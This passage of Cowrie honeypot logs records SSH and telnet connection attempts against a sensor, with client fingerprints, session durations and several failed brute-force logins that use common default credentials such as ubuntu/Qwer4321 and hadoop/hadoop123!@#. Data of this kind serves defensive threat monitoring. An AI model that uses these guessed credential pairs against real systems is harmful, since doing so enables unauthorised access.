14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:35.217096Z","src_ip":"193.24.211.95","session":"1bd1d65db5d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andra","password":"andra","message":"login attempt [andra/andra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:35.639058Z","src_ip":"193.24.211.95","session":"1bd1d65db5d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:36.749370Z","src_ip":"193.24.211.95","session":"1bd1d65db5d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.51.244.245","src_port":40047,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6a6b3c81565","protocol":"telnet","message":"New connection: 98.51.244.245:40047 (159.203.135.109:23) [session: b6a6b3c81565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:46.488569Z"}
{"eventid":"cowrie.session.closed","duration":34.89042830467224,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:50.177924Z","src_ip":"103.115.172.252","session":"fa916f6343de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":15054,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c0d310b9011","protocol":"ssh","message":"New connection: 181.65.191.218:15054 (10.17.0.5:22) [session: 6c0d310b9011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:57.821002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:57.824978Z","src_ip":"181.65.191.218","session":"6c0d310b9011","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:57.935983Z","src_ip":"181.65.191.218","session":"6c0d310b9011","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwer4321","message":"login attempt [ubuntu/Qwer4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:58.409791Z","src_ip":"181.65.191.218","session":"6c0d310b9011","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:27:59.526218Z","src_ip":"181.65.191.218","session":"6c0d310b9011","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":34226,"dst_ip":"10.17.0.5","dst_port":23,"session":"d73b9fbc9ed6","protocol":"telnet","message":"New connection: 103.82.231.165:34226 (10.17.0.5:23) [session: d73b9fbc9ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:28:18.080140Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":36594,"dst_ip":"10.17.0.5","dst_port":23,"session":"d18990ad066f","protocol":"telnet","message":"New connection: 103.115.172.252:36594 (10.17.0.5:23) [session: d18990ad066f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:28:49.495149Z"}
{"eventid":"cowrie.session.closed","duration":36.73117661476135,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:28:54.811196Z","src_ip":"103.82.231.165","session":"d73b9fbc9ed6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":55704,"dst_ip":"10.17.0.5","dst_port":22,"session":"5193737ed7a2","protocol":"ssh","message":"New connection: 181.65.191.218:55704 (10.17.0.5:22) [session: 5193737ed7a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:29:06.782098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:29:06.786815Z","src_ip":"181.65.191.218","session":"5193737ed7a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:29:06.903589Z","src_ip":"181.65.191.218","session":"5193737ed7a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_user","password":"ftp_user","message":"login attempt [ftp_user/ftp_user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:29:07.398972Z","src_ip":"181.65.191.218","session":"5193737ed7a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:29:08.516896Z","src_ip":"181.65.191.218","session":"5193737ed7a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00226330757141,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:29:14.881440Z","src_ip":"98.51.244.245","session":"ad43766a816d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00106954574585,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:29:18.634276Z","src_ip":"98.51.244.245","session":"585a48d9e42c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.51.244.245","src_port":43775,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e8e287702f4","protocol":"telnet","message":"New connection: 98.51.244.245:43775 (159.203.135.109:23) [session: 4e8e287702f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:29:23.025996Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":59080,"dst_ip":"10.17.0.5","dst_port":23,"session":"73fa232a279c","protocol":"telnet","message":"New connection: 103.82.231.165:59080 (10.17.0.5:23) [session: 73fa232a279c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:29:24.437353Z"}
{"eventid":"cowrie.session.closed","duration":44.31994438171387,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:29:33.814984Z","src_ip":"103.115.172.252","session":"d18990ad066f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00158333778381,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:29:46.490038Z","src_ip":"98.51.244.245","session":"b6a6b3c81565","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":44776,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb201632af73","protocol":"telnet","message":"New connection: 146.185.21.169:44776 (10.17.0.5:23) [session: eb201632af73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:29:50.793103Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":41454,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ef16be3b333","protocol":"telnet","message":"New connection: 103.82.231.165:41454 (10.17.0.5:23) [session: 1ef16be3b333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:02.000090Z"}
{"eventid":"cowrie.session.closed","duration":38.533103466033936,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:02.970328Z","src_ip":"103.82.231.165","session":"73fa232a279c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":33180,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b04b43ad8a0","protocol":"telnet","message":"New connection: 103.82.231.165:33180 (10.17.0.5:23) [session: 3b04b43ad8a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:04.319776Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":39124,"dst_ip":"10.17.0.5","dst_port":23,"session":"44210d27a508","protocol":"telnet","message":"New connection: 146.185.21.169:39124 (10.17.0.5:23) [session: 44210d27a508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:13.629635Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":46908,"dst_ip":"10.17.0.5","dst_port":23,"session":"c98e7b279517","protocol":"telnet","message":"New connection: 103.82.231.165:46908 (10.17.0.5:23) [session: c98e7b279517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:15.556794Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":54128,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aeda60a988b","protocol":"ssh","message":"New connection: 181.65.191.218:54128 (10.17.0.5:22) [session: 3aeda60a988b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:16.433668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:16.442085Z","src_ip":"181.65.191.218","session":"3aeda60a988b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":40462,"dst_ip":"10.17.0.5","dst_port":23,"session":"2155920d0eda","protocol":"telnet","message":"New connection: 146.185.21.169:40462 (10.17.0.5:23) [session: 2155920d0eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:16.508268Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:16.564555Z","src_ip":"181.65.191.218","session":"3aeda60a988b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123!@#","message":"login attempt [hadoop/hadoop123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:17.056923Z","src_ip":"181.65.191.218","session":"3aeda60a988b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":41356,"dst_ip":"10.17.0.5","dst_port":23,"session":"0385bb2fdf7c","protocol":"telnet","message":"New connection: 146.185.21.169:41356 (10.17.0.5:23) [session: 0385bb2fdf7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:17.183554Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:18.173588Z","src_ip":"181.65.191.218","session":"3aeda60a988b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":49442,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1e9ccf5896a","protocol":"telnet","message":"New connection: 146.185.21.169:49442 (10.17.0.5:23) [session: a1e9ccf5896a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:23.094461Z"}
{"eventid":"cowrie.session.closed","duration":34.64247679710388,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:25.435449Z","src_ip":"146.185.21.169","session":"eb201632af73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":50168,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad96f9c29f05","protocol":"telnet","message":"New connection: 146.185.21.169:50168 (10.17.0.5:23) [session: ad96f9c29f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:25.576379Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":52270,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8495ba5a8d7","protocol":"telnet","message":"New connection: 146.185.21.169:52270 (10.17.0.5:23) [session: a8495ba5a8d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:27.371635Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":51484,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e1921989bad","protocol":"telnet","message":"New connection: 146.185.21.169:51484 (10.17.0.5:23) [session: 5e1921989bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:28.528320Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":54010,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc851baec84f","protocol":"telnet","message":"New connection: 146.185.21.169:54010 (10.17.0.5:23) [session: cc851baec84f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:29.732957Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":50556,"dst_ip":"10.17.0.5","dst_port":23,"session":"b422fffde689","protocol":"telnet","message":"New connection: 146.185.21.169:50556 (10.17.0.5:23) [session: b422fffde689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:30.683718Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":52780,"dst_ip":"10.17.0.5","dst_port":23,"session":"e19bd42679f3","protocol":"telnet","message":"New connection: 146.185.21.169:52780 (10.17.0.5:23) [session: e19bd42679f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:34.757733Z"}
{"eventid":"cowrie.session.closed","duration":31.08810806274414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:35.407729Z","src_ip":"103.82.231.165","session":"3b04b43ad8a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.1874418258667,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:36.187395Z","src_ip":"103.82.231.165","session":"1ef16be3b333","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.4520218372345,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:46.081547Z","src_ip":"146.185.21.169","session":"44210d27a508","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.02252221107483,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:47.579193Z","src_ip":"103.82.231.165","session":"c98e7b279517","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.275227785110474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:47.783321Z","src_ip":"146.185.21.169","session":"2155920d0eda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31246519088745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:48.495892Z","src_ip":"146.185.21.169","session":"0385bb2fdf7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":49008,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6d0d5fe652c","protocol":"telnet","message":"New connection: 146.185.21.169:49008 (10.17.0.5:23) [session: a6d0d5fe652c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:53.353922Z"}
{"eventid":"cowrie.session.closed","duration":0.004985332489013672,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:53.358764Z","src_ip":"146.185.21.169","session":"a6d0d5fe652c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.226269483566284,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:55.320634Z","src_ip":"146.185.21.169","session":"a1e9ccf5896a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25722026824951,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:56.833480Z","src_ip":"146.185.21.169","session":"ad96f9c29f05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.888995885849,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:30:58.260514Z","src_ip":"146.185.21.169","session":"a8495ba5a8d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73492956161499,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:00.467770Z","src_ip":"146.185.21.169","session":"cc851baec84f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.08154344558716,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:00.609699Z","src_ip":"146.185.21.169","session":"5e1921989bad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":38276,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb23766a783f","protocol":"telnet","message":"New connection: 103.82.231.165:38276 (10.17.0.5:23) [session: bb23766a783f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:01.628740Z"}
{"eventid":"cowrie.session.closed","duration":32.37585687637329,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:03.059449Z","src_ip":"146.185.21.169","session":"b422fffde689","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35648202896118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:06.114109Z","src_ip":"146.185.21.169","session":"e19bd42679f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":56246,"dst_ip":"10.17.0.5","dst_port":23,"session":"3742dd61dd6f","protocol":"telnet","message":"New connection: 146.185.21.169:56246 (10.17.0.5:23) [session: 3742dd61dd6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:08.337535Z"}
{"eventid":"cowrie.session.closed","duration":120.00184035301208,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:23.027719Z","src_ip":"98.51.244.245","session":"4e8e287702f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":40704,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2e52262482b","protocol":"ssh","message":"New connection: 181.65.191.218:40704 (10.17.0.5:22) [session: b2e52262482b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:25.353784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:25.358576Z","src_ip":"181.65.191.218","session":"b2e52262482b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","e